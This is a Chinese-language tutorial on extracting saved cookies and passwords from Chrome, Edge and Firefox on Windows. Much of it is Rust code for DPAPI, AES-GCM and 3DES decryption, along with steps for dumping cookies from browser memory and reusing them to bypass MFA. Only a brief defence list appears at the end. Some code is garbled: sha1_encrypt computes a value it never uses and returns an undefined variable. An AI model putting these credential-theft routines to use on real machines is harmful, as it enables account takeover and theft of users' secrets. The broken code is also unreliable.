浏览器凭据获取 -- Cookies && Password
字数 2314 2025-08-05 08:19:10
浏览器凭据获取技术详解:Cookies与密码提取
一、Cookies获取技术
1. Cookies简介
Cookies在现代认证中扮演着重要角色,特别是在多因素认证(MFA)普及的背景下。仅凭账号密码往往无法访问受MFA保护的网站,而Cookies可以绕过这一限制。
2. Cookies获取方法
2.1 本地Cookies文件提取
原理:
- Chrome浏览器使用AES加密Cookies值
- 加密密钥通过DPAPI加密保存
- 加密后的Cookies存储在
%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies
提取流程:
- 复制Cookies文件并重命名为.db扩展名
- 使用数据库工具查看内容,
encrypted_value字段为加密的Cookie值 - 从
%LocalAppData%\Google\Chrome\User Data\Local State获取加密密钥 - 使用DPAPI解密密钥
- 用解密后的AES密钥解密Cookie值
优缺点:
- 优点:无视Cookie分区存储,可获取存储Cookie
- 缺点:需要关闭浏览器,只能获取静态Cookie,某些网站需要动态Cookie
2.2 内存中提取Cookies
原理:
- Chromium内核浏览器启动时通过CookieMonster加载所有Cookie到内存
- 扫描内存定位CookieMonster地址并转储Cookies
提取流程:
- 定位chrome进程PID
- 查找chrome.dll基地址和大小
- 通过特征查询定位CookieMonster内存地址
- 读取每个Cookie内容
优缺点:
- 优点:无需关闭浏览器,获取所有Cookie(包括动态Cookie)
- 缺点:无法获取分区存储的Cookie
工具:ChromeKatz
3. Cookies利用技术
3.1 Cookies导入方法
- 内存获取的Cookies可直接导入浏览器
- 本地提取的存储型Cookie需要与网站交互获取动态Cookie
- Chrome对Cookies文件有完整性检查,难以直接注入
- Firefox的Cookies是明文存储且无完整性检查,可注入
3.2 关键代码实现
DPAPI解密代码:
fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result<Vec<u8>> {
let len = crypted_bytes.len();
let mut bytes = Vec::from(crypted_bytes);
let pb = bytes.as_mut_ptr();
let mut blob = CRYPTOAPI_BLOB {
pbData: pb,
cbData: len as u32,
};
let mut out = Vec::with_capacity(len);
let mut blob_out = CRYPTOAPI_BLOB {
pbData: out.as_mut_ptr(),
cbData: out.len() as u32,
};
unsafe {
CryptUnprotectData(
&mut blob,
std::ptr::null_mut(),
std::ptr::null(),
std::ptr::null_mut(),
std::ptr::null(),
0,
&mut blob_out,
)
.ok()?;
let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize);
LocalFree(blob_out.pbData as isize);
Ok(slice.to_vec())
}
}
AES解密代码:
pub fn decrypt_cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> (String, Vec<u8>) {
if encrypted_value.len() == 0 {
return (String::from(" "), Vec::new());
}
let iv: &[u8] = &encrypted_value[3..15];
let encrypted_value = &encrypted_value[15..];
let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));
if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
if let Ok(decoded) = String::from_utf8(decrypted) {
return (decoded, iv.to_vec());
}
}
return (String::new(), Vec::new());
}
二、浏览器密码提取技术
1. Chromium内核浏览器密码提取
文件路径:
- Chrome密码文件:
%LocalAppData%\Google\Chrome\User Data\Default\Login Data - Chrome密钥文件:
%LocalAppData%\Google\Chrome\User Data\Local State - Edge密码文件:
%LocalAppData%\Microsoft\Edge\User Data\Default\Login Data - Edge密钥文件:
%LocalAppData%\Microsoft\Edge\User Data\Local State
关键字段:
origin_url- 网站URLusername_value- 用户名password_value- 加密的密码
加密类型:DPAPI和AES加密
解密方法:
- 复制密码文件并重命名为.db扩展名
- 使用DPAPI解密AES密钥
- 用AES密钥解密密码
2. Firefox密码提取
文件路径:
- 密码文件:
C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\logins.json - 密钥文件:
C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\key4.db
关键字段:
hostname- URLencryptedUsername- 加密的用户名encryptedPassword- 加密的密码
加密类型:SHA256和3DES-CBC加密
2.1 算法解密方法
前提:Firefox的master password默认不设置(为空)
解密流程:
- 从key4.db的metadata表和nssprivate表提取特定值
- 进行SHA1和SHA256处理获得3DES密钥
- 用3DES解密logins.json中的加密账号密码
关键代码:
SHA1加密+PBKDF2解密:
fn sha1_encrypt(entry_salt: Vec<u8>, interation_count: u32, hex_byte_salts: Vec<u8>, master_password: String) -> Vec<u8> {
let mut sha1_hasher = Sha1::new();
sha1_hasher.update(hex_byte_salts);
sha1_hasher.update(master_password);
let k = sha1_hasher.finalize().to_vec();
let mut key = vec.unwrap();
key
}
SHA256解密获取3DES密钥:
fn sha256_decrypt(key: Vec<u8>, iv: Vec<u8>, ciphert: Vec<u8>) -> Vec<u8> {
let key_array: &[u8; 32] = array_ref!(key, 0, 32);
let cipher = Cipher::new_256(key_array);
let decrypted = cipher.cbc_decrypt(&iv, &ciphert);
decrypted[..24].to_vec()
}
3DES解密:
pub fn des3_decrypt(key: Vec<u8>, encryptdata: &str) -> String {
let base53_data = base64::decode(encryptdata).unwrap();
let iv = &base53_data[34..42];
let mut ciphertext = base53_data[44..].to_vec();
type TDesCbc = Decryptor<TdesEde3>;
let tdes = TDesCbc::new_from_slices(&key, iv).unwrap();
let result = tdes.decrypt_padded_mut::<Pkcs7>(&mut ciphertext).unwrap();
String::from_utf8(result.to_vec()).unwrap()
}
2.2 调用nss3.dll解密
关键函数:
NSS_Init- nss初始化PK11_GetInternalKeySlot- 获取内置密钥槽PK11_CheckUserPassword- 验证用户密码PK11_Authenticate- 对密钥槽授权PK11SDR_Decrypt- 解密
参考实现:firefox_decrypt
三、防御建议
- 使用主密码保护浏览器存储的凭据
- 定期清理浏览器Cookies
- 启用Cookie分区存储功能
- 对敏感网站使用独立的浏览器配置文件
- 考虑使用密码管理器而非浏览器内置的密码存储
- 定期检查浏览器扩展权限
四、总结
本文详细介绍了浏览器Cookies和密码的提取技术,包括从本地文件和内存中获取凭据的方法,以及针对Chromium和Firefox的不同解密技术。这些技术展示了浏览器凭据存储的潜在安全风险,强调了加强浏览器安全配置的重要性。